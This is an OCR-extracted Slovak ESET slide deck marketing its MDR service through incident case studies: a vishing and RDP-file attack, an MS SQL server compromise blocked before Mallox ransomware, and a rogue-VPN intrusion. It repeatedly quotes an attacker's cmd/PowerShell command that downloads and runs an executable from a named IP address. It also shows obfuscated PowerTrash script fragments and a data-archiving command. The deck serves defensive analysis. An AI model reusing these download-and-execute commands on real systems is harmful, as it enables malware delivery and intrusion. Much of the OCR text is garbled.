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Potrebujem vobec MDR?



utokov je cielenych na SMB

*according to Gartner, 82% of ransomware attacks target enterprises <1000 employees



Malicious RDP File Attack

MDR pripad

APT u zakaznika




APT u zakaznika

2. Masivna SPAM akcia

Cielené napadnutie pouzivatela. Pocas jednej minuty viac ako 100
emailov.

4. Pokus o kompromitaciu

Odoslanie suboru na vyvolanie RDP spojenia. ESET Endpoint
Security vyhodnotil tento subor ako p,odozrivy'/ a zablokoval ho.
UtocCnik poslal dalsi subor.

1. Zaciatok

Zakaznik, u ktorého prebiehalo POC na ESET PROTECT MDR.

3. Vishing cez Teams

O dve minuty neskor hovor cez MS Teams. Posobil ako od IT
oddelenia firmy, kde pracoval zakaznik. Nasledne komunikacia s
utocnikom.

,Voldm vdm z IT, mohli by ste skontrolovat e-maily? Zdd sa, Ze ste
dostali mnozZstvo sprav za poslednych par minut.”



6. Reakcia pouzivatela a IT

Pocitac prestal "fungovat". Zakaznik vola skuto¢nému IT oddeleniu.
IT (bez kontextu) opat pripdja pocitac do siete.

8. Poucenie a vysledok

1. Overovat identitu volajuceho z IT.
2. Nepovolit pripojenie bez analyzy. (IT odd.)
3. MDR preukazalo vysoku efektivitu a zabranilo strate dat.

5. MDR izolacia

Pouzivatel otvoril subor, ktory bol pre MDR team vysoko
podozrivy. (pristup do systému, Sifrovanie suborov a dalsie
aktivity) MDR zareagovalo a izolovalo endpoint od siete.

7. Druha detekcia a blokovanie

Subor sa aktivoval druhy krat (pristup do siete a snaha o
Sifrovanie). MDR do 30 sekund zariadenie odpojilo.



MS SQL

SQL



MDR uspech: MS SQL kompromitacia

Zacalo to ako opakovany alert EsetlpBlacklist.A/B na cielovom porte 1433

sqlservr.exe je na danom porte a pocuva

process.command_line -1 event.reason

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C
echo Scl = New-Object System.Net.WebClient
>C:?\ProgramData\\updt.psl & echo
Scl.DownloadFile("http://80.66.75.47/Dxccaejs.exe",
"C:?\ProgramData\\tzt.bat") >> C:?\ProgramData\\updt.ps1 &
powershell -ExecutionPolicy Bypass
C:?\ProgramData\\updt.ps1 & WMIC process call create

v |process.name T | process.parent.-T rule.name

Suspicious MS SQL
(sglservr.exe) Child

"C:?\ProgramData\\tzt.bat" ProcessCreated %PROGRAMFILES%\microsoft :cmd.exe sqlservr.exe Process [R0401]

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C
echo Scl = New-Object System.Net.WebClient
>C:?\ProgramData\\updt.ps1 & echo
Scl.DownloadFile("http://80.66.75.47/Dxccaejs.exe",
"C:?\ProgramData\\tzt.bat") >> C:?\ProgramData\\updt.ps1 &
powershell -ExecutionPolicy Bypass
C:?\ProgramData\\updt.ps1 & WMIC process call create

Generic MS SQL
Backdoor Activity -

"C:?\ProgramData\\tzt.bat" ProcessCreated %PROGRAMFILES%\microsoft :cmd.exe sglservr.exe Child Process [R0402]

v host.name

¥ user =

Jocal

mssqlSwavesoft]

Jocal

mssqglSwavesoft




MDR Success: MS SQL Compromise @“

MDR Team izolovoalo PCl!!

Incident actions

Q Isolate computers

& End computer isolation

@3 Kill processes

® Block executable

Unblock executable

INCIDENT ACTIONS

v

process.command_line -1 event.reason

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C
echo Scl = New-Object System.Net.WebClient
>C:?\ProgramData\\updt.psl & echo
Scl.DownloadFile("http://80.66.75.47/Dxccaejs.exe",
"C:?\ProgramData\\tzt.bat") >> C:?\ProgramData\\updt.ps1 &
powershell -ExecutionPolicy Bypass
C:?\ProgramData\\updt.ps1 & WMIC process call create

v |process.name T | process.parent.-T rule.name

"C:?\ProgramData\\tzt.bat" ProcessCreated %PROGRAMFILES%\microsoft :cmd.exe sqlservr.exe

%SYSTEM%\cmd.exe "C:\Windows\\System32\\cmd.exe" /C
echo Scl = New-Object System.Net.WebClient
>C:?\ProgramData\\updt.ps1 & echo
Scl.DownloadFile("http://80.66.75.47/Dxccaejs.exe",
"C:?\ProgramData\\tzt.bat") >> C:?\ProgramData\\updt.ps1 &
powershell -ExecutionPolicy Bypass
C:?\ProgramData\\updt.ps1 & WMIC process call create

"C:?\ProgramData\\tzt.bat" ProcessCreated %PROGRAMFILES%\microsoft :cmd.exe sglservr.exe

Suspicious MS SQL
(sglservr.exe) Child
Process [R0401]

Generic MS SQL
Backdoor Activity -
Child Process [R0402]

v host.name

¥ user =

Jocal

mssqlSwavesoft]

Jocal

mssqglSwavesoft




MDR uspech: MS SQL kompromitacia @“

Q Isolate computers

MDR Incident

* Server izolovany MDR sluzbou

» Zabranilo sa Mallox ransomware

INCIDENT ACTIONS W7

MDR Incident vytvoreny a zakaznik bol notifikovany o MS SQL kompromitacii

Actions for customer:
Change passwords of all MS SQL users
Close port 1433 off from internet J




MDR uspech: MS SQL kompromitacia @“

MS SQL server zacal vykondvat prikazy

Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd.exe C:\Windows\\System32\\cmd.exe” /C echo $cl = New-Object
System.Net.WebClient>C: ?\ProgrambData\\updt.psl & echo
$cl.DownloadFile(“hxxp://80.66.75[.]47/Dxccaejs.exe”, »”C:?\ProgramData\\tzt.bat”) >>

C:?\ProgrambData\\updt.psl & powershell -ExecutionPolicy Bypass C:?\ProgramData\\updt.psl &
WMIC process call create ”C:?\ProgramData\\tzt.bat”



MDR uspech: MS SQL kompromitacia @“

MS SQL Server prikaz:
Create PowerShell Script “C:\ProgramData\updt.ps1”

Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd.exe C:\Windows\\System32\\cmd.exe” /C echo $cl = New-Object System.Net.WebClient>C:?\ProgramData\\updt.psl &
echo $cl.DownloadFile(“hxxp://80.66.75[.]47/Dxccaejs.exe”, ”C:?\ProgramData\\tzt.bat”) >> C:?\ProgramData\\updt.psl

Contents of “C:\ProgramData\updt.ps1”

Executes “C:\ProgramData\updt.ps1” (which downloads “tzt.bat”)

Administrator: C:\\Windows\system32\cmd.exe

powershell -ExecutionPolicy Bypass C:?\ProgramData\\updt.psl

Executes “C:\ProgramData\updt.ps1” (which downloads “tzt.bat”)

Administrator: C:\\Windows\system32\cmd.exe

WMIC process call create ”C:?\ProgramData\\tzt.bat”




Posudenie: MS SQL server zacal vykonavat prikazy @

Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd.exe ’C:\Windows\\System32\\cmd.exe” /C echo $cl = New-Object
System.Net.WebClient>C: ?\ProgramData\\updt.psl & echo
$cl.DownloadFile(“hxxp://80.66.75[.]47/Dxccaejs.exe”, *”C:?\ProgramData\\tzt.bat”) >>
C:?\ProgrambData\\updt.psl & powershell -ExecutionPolicy Bypass C:?\ProgramData\\updt.psl &
WMIC process call create ”C:?\ProgramDatal\\tzt.bat”

oy . ﬁ I"loaltma (o}
< SentinelOne "W \\Windows \\\\System32\\\\cmd.exe\" /C echo $cl

/C echo $cl = New-Object System.Net.WebClient = New-Object System.Net.WebClient >
>%TEMP%\updt.psl & echo C:\Users\MSSQLS~1\AppData\Local\Temp\updt.psl &

$cl.DownloadFile("hXXp://80[.]166.75]]1]].40/XXXXX echo

& powershell -ExecutionPolicy Bypass \"C:\Users\MSSQLS~1\AppData\Local\Temp\tzt.exe\")
%TEMP%\updt.psl & WMIC process call create >> %TEMP%\\updt.psl & powershell -ExecutionPolicy

"%TEMP%\XXXXXXXX . exe" Bypass
C:\Users\MSSQLS~1\AppData\Local\Temp\updt.psl &
WMIC process call create




Posudenie: MS SQL server zacal vykonavat prikazy

Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd.exe ”C:\Windows\\System32\\cmd.exe” /C echo $cl = New-Object
System.Net.WebClient>C:?\ProgramData\\updt.psl & echo
$cl.DownloadFile(“hxxp://80.66.75[.]47/Dxccaejs.exe”, *C:?\ProgramData\\tzt.bat”) >>

C:?\ProgramData\\updt.psl & powershell -ExecutionPolicy Bypass C:?\ProgramData\\updt.psl &
WMIC process call create ”’C:?\ProgramData\

S SentinelOnhe




Posudenie: MS SQL server zacal vykonavat prikazy

Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd.exe ”C:\Windows\\System32\\cmd.exe” /C echo $cl = New-Object
System.Net.WebClient>C:?\ProgramData\\updt.psl & echo

$cl.DownloadFile(“hxxp://80.66.75[.]47/Dxccaejs.exe”, »”C:?\ProgramData\\tzt.bat”) >>

C:2\ProgramData\\undt.pnsl & powershell -ExecutionPolicy Bypass C:?\ProgramData\\updt.psl &
WMIC process call create PC:?\ProgramData\\tzt.bat”

s SentinelOnhe

NEVRSON NN APV

WMIC process call create

WMIC process call create




Posudenie: MS SQL server zacal vykonavat prikazy

Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd.exe ”C:\Windows\\System32\\cmd.exe” /C echo $cl = New-Object
System.Net.WebClient>C:?\ProgramData\\updt.psl & echo
$cl.DownloadFile(“hxxp://80.66.75[.]47/Dxccaejs.exe”, *”C:?\ProgramData\\tzt.bat”) >>

C: :\ProgramData\\updt.psl & powershell -ExecutionPolicy Bypass C:?\ProgramData\\updt.psl &
WMIC process call create ”C:?\ProgramData\\tzt.bat”

s SentinelOnhe

%TEMP%\updt.psl

ATEMP%\\updt.psi1




Posudenie: MS SQL server zacal vykonavat prikazy @“

Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd.exe C:\Windows\\System32\\cmd.exe” /C echo $cl = New-Object
System.Net.WebClient>C:?\ProgramData\\updt.psl & echo
$cl.DownloadFile(“hxxp://80.66.75[.]47/Dxccaejs.exe”, *C:?\ProgramData\\tzt.bat”) >>

C:?\ProgramData\\updt.psl & powershell -ExecutionPolicy Bypass C:?\ProgramData\\updt.psl &
WMIC process call create ”C:?\ProgramData\\tzt.bat”

s SentinelOne

/C echo $%$cl /C echo $cl




Posudenie: MS SQL server zacal vykonavat prikazy

Administrator: C:\\Windows\system32\cmd.exe

%SYSTEM%\cmd.exe ”C:\Windows\\System32\\cmd.exe” /C echo $cl = New-Object
System.Net.WebClient>C:?\ProgramData\\updt.psl & echo

$cl.DownloadFile( hxxp://80.66.75[.]47 Dxccaejs.exe”, ”C:?\ProgramData\\tzt.bat”) >>

C:?\ProgrambData\\updt.psl & powershell -ExecutionPolicy Bypass C:?\ProgramData\\updt.psl &
WMIC process call create ”’C:?\ProgramData\\tzt.bat”

s SentinelOnhe

hXXp://80[.]166.75]]1]].40

hxxp://80.66.75[.]36




VPNka mimo kontrolu

Ya




VIDRU uspech: VPN Gone Rogue 9

O -

Zakaznik bol Vel'ka a komplexna
infiltrovany pred siet s rdznymi sites po
zakupenim sluzby celom svete

MDR

Ziadna aktivita po
dobu viac mesiacov



Smss.exe

PowerTrash dropping
LiteManager

services.exe

cmd.exe

cmd.exe (12496)

Powershell.exe creates an external
network connection (A0502b)

A Injection into system process (FO413a)(C)

cmd.exe (17740)

A Suspicius script interpreter started — cmd (FO0447d)

tar.exe (9128)

Renamed remote Monitoring & Management
Tool Dropped



PowerTrash
Content

function AgEh

{
Tpuvb (WGrxj) (ZJdct) (fpWsg) (oNgkBm) (unic) (vHnm) (KrtBH)

}
function Ggkla

{

$9XD20ca=WhJUGt b E P / '"l'" x i z gr gqUgqRZERT<
$dYyw=RHaQ M h

$JXD2oa+S5dYyw

}

function Vnkii

=1
SDofdi=Kgzqgq Y v
SvES=IIMttb e 3T '0" g I
SLAGov=xVnZVg h v H '9" + gqn s F c L

$SUUb=FMQR1G z P

$SzHwft=wIfgUo U V I L A W

SDEoYN=MWgdI ¢ H B EaMeoD/EvV

SATMU2K=BtpNLd u R k

$kJsUlY=MjJAsI ¢ O f k
SDEoYN+$Dof4i+5LA60v+SdTMU2K+5uUb+5kJsULY+SvES+SzHwEL

-}
1tVg




LiteManager spusteny

Remote Scheduled Task na spustenie LiteManager

LiteManager pouziva:
 7zip to extrahoval OpenSSH

* OpenSSH pouzity ako backdoor

services.exe (1380)

éb svchost.exe (2968)

A Incident 10C — LiteManager used for RCE

cmd.exe (37880)

conhost.exe(27728)

net.exe (47204)
Time discovery through net command

whoami.exe (37876)

7za.exe (50928)

cmd.exe (15312)

conhost.exe(17176)

net.exe (42260)

Permission Groups discovery — Domain (F1102b)

netl.exe (33464)



2024 Zacal monitoring

Zakupenie sluzby
MDR Ultimate

Beginning

PowerTrash Places:
LiteManager
OpenSSH



VIDRU uspech: VPN Gone Rogue 9

Update.psl = PowerTrash C\/} Remote Scheduled Task

SwiR= (QKDHDR) cmd /c powershell -w h -ep bypass -f
$ZyChLw= S
’ i C:\Programdata\intel\update.psl

0 g ion.Compre onMode] : : Decompr
VLy $JJ8 $gBEwcr

1 powershell -w h -ep bypass -f
$1HF=$kHV2F8 .Read ($J5630, 0, $ugNE) C:\Programdata\intel\update.psil
XNmKkF $J8630 $ZyChLw

}

o @ Potential credential dumping - Generic [F@436a]
{

function

{

function r

{

function WHjJ




MIDRU uspech: VPN Gone Rogue 9

Lateral Movement Techniques

- cmd /c
)[ c:\programdata\intel\gcc\i.bat ]

Lateré|ny pOhyb —)[ a, svchostc.exe od:orec ]

* Remote Scheduled Tasks
* WinRM

7 svchostc.exe a -t7z -mx5 -ssw -vlg -mmt=1 -mhe=on -
Pokus o zber dat kdz| pPPASSWORD -spf c:\windows\temp\file2.7z
« RClone @c:\programdatalintel\Logs\file2.txt

* 7Zip




MIDRU uspech: VPN Gone Rogue 9

Lateralny Pohyb a Techniky

@ Remote Scheduled Task -

I

Nechranené / Nemonitorované zariadenia




wininit.exe

600

services.exe (676)
éb svchost.exe (1628)

cmd.exe (7404)
identity_helper.exe (1908)




services.exe (676)
&) svchost.exe (1628)

cmd.exe (7404)
identity_helper.exe (1908)




2024

Zacal MDR Ultimate
monitoring

Nechranené zariadenia
lokalizované /odstranené
zacCiatok

PowerTrash :
LiteManager
OpenSSH Lateralny pohyb DLL Sideload
PowerTrash
Win64/Spy.Sekur
Rclone 7-Zip



MIDRU uspech: VPN Gone Rogue G

Monitorované zariadenia

) o) w)
_—

Rogue Devices on VPN




Identifikovana

2024 kompromitovana
VPN
Zacal MDR Ultimate monitoring Rogue VPN klienti
RDP na zariadenia
AteraAgent/Splashtop
Nechrdnené zariadenia
lokalizované /odstranené
Beginning : :
: .
- Koniec
PowerTrash :
LiteManager
OpenSSH Lateralny pohyb DLL sideload

PowerTrash
Win64/Spy.Sekur
Rclone 7-Zip



MIDRU uspech: VPN Gone Rogue 9

RMMis identifikované a
blokované

*LiteManager
*AteraAgent
*SplashTop

Blokované viaceré IPs
*SSH C&C IPs
*PowerTrash C&C Ips

Odstranené viaceré spustitelné
subory
*OpenSSH Backdoors (EXEs,
Configs, ETC...)
*TopoEdit tedutil.dll (Bring
Your Own Sideload)

Prvotny vstup do siete
*Rogue Devices pripajajuce sa
cez VPN

*Vytvoreny MDRU incident a
kooperacia so zdkaznikom

Akcie u zakaznika:
*Implementacia MFA na VPN
*Patchovanie VPN

*Potvrdenie zoznamu
povolenych RMMs

INCIDENT ACTIONS W7



!

4

Zhrnutie

Nemate cas ani rozpocet na vlastné monitorovanie prostredia

Ak nikto nemonitoruje prostredie, neviete, ze sa nieco deje

Nezachyteny utok sa moze rozvinut do niecoho horsieho (ransomware)

ESET ma cas aj know-how na nepretrzité monitorovanie vasho prostredia



Sila riesenia

ESET Inspect

Hlboky prehlad o tom
£, kdé - Ak8

prebiehaju hrozby a Utoky

50

Poznatky
ESET odbornikov

Spickovi bezpe&nostni
vyskumnici ESET zabezpecuju
nepretrzitu 24/7
reakciu na hrozby

N7

ESET MDR

NajlepsSie hodnotena
spravovana bezpecnost, ktora
vas chrani






(A SECURITY
/) DAYS
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